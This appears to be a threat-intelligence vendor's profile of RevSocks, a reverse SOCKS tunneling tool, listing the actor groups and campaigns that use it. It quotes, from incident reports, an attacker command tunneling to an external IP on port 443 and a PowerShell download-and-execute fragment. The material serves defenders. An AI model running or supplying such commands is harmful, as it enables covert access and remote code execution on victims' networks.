Loading malware…
RevSocks is a reverse SOCKS proxy tool, commonly described as Go-based, that threat actors use to create covert network tunnels from compromised systems to operator-controlled infrastructure. Rather than functioning as a traditional payload for data theft or destruction on its own, it is primarily used as an access-enablement and traffic-relay utility that supports command-and-control, remote administration, pivoting, and concealment of follow-on activity. By exposing internal services such as Remote Desktop through an outbound connection, it helps attackers bypass network boundaries and maintain interactive access without requiring direct inbound connectivity.
The tool has been observed across multiple intrusion sets and operational contexts, including espionage, destructive, and ransomware-linked activity. Iranian-linked operators including Seedworm (MuddyWater) and Homeland Justice have used RevSocks during intrusions affecting telecommunications, government, and infrastructure organizations. It has also been used by Mantis, also known as Arid Viper or APT-C-23, in operations targeting organizations in the Palestinian territories, where it supported reverse SOCKS tunneling alongside custom backdoors and exfiltration tooling. Cloud Atlas has deployed RevSocks as one of several redundant access mechanisms in campaigns against government and diplomatic entities, and ransomware operators behind the Spirals intrusion used it together with other tunneling utilities to preserve covert access during rapid enterprise-wide compromise.
Observed use cases include covert command-and-control, maintaining persistent remote access, enabling lateral or follow-on operator access through tunneled RDP, and supporting data exfiltration by relaying traffic out of victim environments. RevSocks is often deployed alongside remote administration tools, proxy utilities, web shells, PowerShell stagers, or other malware families rather than as a standalone intrusion platform. High-confidence reporting supports its use on Windows systems; broader cross-platform support may exist due to its implementation language, but that is not established here.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
5 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool: CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
staging[.]exe – a version of the tool RevSocks... RevSocks is a tool that enables threat actors to establish a connection with a server via SOCKS proxy.
These included: Arid Gopher ... Reverse SOCKs Tunneler (aka Revsocks) (file name: windowsservicemanageav.exe)
In some cases, the group also deployed RevSocks, a Go-based proxy tool, and used Tor to route RDP access through hidden .onion addresses.
MoustachedBouncer has used a reverse proxy tool similar to the GitHub repository revsocks.
11 distinct techniques documented for this family, organized by ATT&CK tactic.
The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;
Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool... A custom build of the Venom Proxy hacktool was also executed on this network...
For covert command-and-control, the operator ran a reverse-SOCKS proxy (revsocks) to an external IP on port 443
Three separate network-tunneling utilities were deployed to the host in the first 10 minutes of activity.
After accessing the system via an SSH connection, the attacker downloads a binary, enabling him to establish his own SSL/TLS tunnel via revsocks.
7 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A reverse SOCKS proxy tool used by the attackers for covert command-and-control and redundant connectivity within the victim environment.
A Go-based proxy tool used by Cloud Atlas to create covert access channels and support remote operations through layered persistence.
Tool used for data exfiltration, command-and-control communications, and/or maintaining persistent access within compromised networks.
A cross-platform SOCKS5 proxy server/library that can reverse itself over a firewall, used by the attackers as part of the intrusion.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.